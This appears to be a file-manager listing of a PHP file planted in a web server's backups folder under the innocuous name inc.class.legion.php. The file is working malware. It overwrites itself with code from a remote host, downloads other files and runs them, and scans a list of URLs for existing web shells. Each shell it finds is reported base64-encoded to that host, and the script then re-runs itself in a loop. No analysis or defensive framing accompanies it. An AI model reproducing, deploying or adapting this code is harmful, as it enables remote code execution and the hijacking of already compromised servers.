Current Path : /var/www/backups/ |
Current File : /var/www/backups/inc.class.legion.php |
<?php ini_set('max_execution_time',0); ini_set('memory_limit', '512M'); date_default_timezone_set('Europe/Kiev'); function http_get_contents($url) { // $codex = @file_get_contents($url); // if (empty($codex)) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); // curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $urlPage = curl_exec($ch); curl_close($ch); return($urlPage); // } // else { // return $codex; // } } file_put_contents(basename(__FILE__),http_get_contents('http://bazz.acmetoy.com/st/get_legion.txt')); file_put_contents('list.txt',http_get_contents('http://bazz.acmetoy.com/st/list.txt')); file_put_contents('roll.txt',http_get_contents('http://bazz.acmetoy.com/st/roll.txt')); file_put_contents('angry.txt',http_get_contents('http://bazz.acmetoy.com/st/angry.txt')); require_once('roll.txt'); require_once('angry.txt'); file_put_contents('get_legion.txt', http_get_contents('http://bazz.acmetoy.com/get_legion.php')); function callback_function($response, $info, $request) { if (preg_match('~(FilesTools)~i', $response, $out)) { if (preg_match('~(FilesMan)~i', $response, $out)) { http_get_contents('http://bazz.acmetoy.com/vesta.php?we='.base64_encode($info['url']).'&fe='.base64_encode('inc.class.legion.php'));goto end; } } if (preg_match("~(<input type=hidden name=p1 value='uploadFile'>)~i", $response, $out)) { http_get_contents('http://bazz.acmetoy.com/vesta.php?we='.base64_encode($info['url']).'&fe='.base64_encode('inc.class.legion.php'));goto end; } if (preg_match("~(LEGION EXPLOIT)|(Kirigaya Kirito)|(Chitoge kirisaki)|(name=azzatssins)~i", $response, $out)) { http_get_contents('http://bazz.acmetoy.com/vesta.php?we='.base64_encode($info['url']).'&fe='.base64_encode('inc.class.legion.php'));goto end; } end: return; } $AC = new AngryCurl('callback_function'); //$AC->init_console(); $AC->load_useragent_list('list.txt'); $f = fopen('get_legion.txt', 'r'); while(!feof($f)) { $url = trim(fgets($f)); $AC->get($url); } $AC->execute(50); unlink('get_legion.txt'); system('php inc.class.legion.php'); ?>